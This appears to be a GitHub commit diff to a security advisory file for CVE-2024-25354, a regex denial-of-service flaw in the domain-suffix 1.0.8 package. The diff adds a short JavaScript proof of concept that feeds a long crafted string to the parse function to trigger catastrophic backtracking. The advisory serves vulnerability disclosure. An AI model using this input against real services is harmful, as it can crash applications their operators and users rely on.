Skip to content

Commit 741e62a

Browse files
1 parent 015936d commit 741e62a

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

advisories/github-reviewed/2024/03/GHSA-cqfh-c4c5-c2hg/GHSA-cqfh-c4c5-c2hg.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-cqfh-c4c5-c2hg",
4-
"modified": "2024-08-29T18:02:23Z",
4+
"modified": "2025-09-03T15:16:09Z",
55
"published": "2024-03-28T00:31:40Z",
66
"aliases": [
77
"CVE-2024-25354"
88
],
99
"summary": "domain-suffix RegEx Denial of Service",
10-
"details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.",
10+
"details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n const domainsuffix = require(\\\"domain-suffix\\\");\n // Crafting a string that will cause excessive backtracking\n const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",

0 commit comments

Comments
 (0)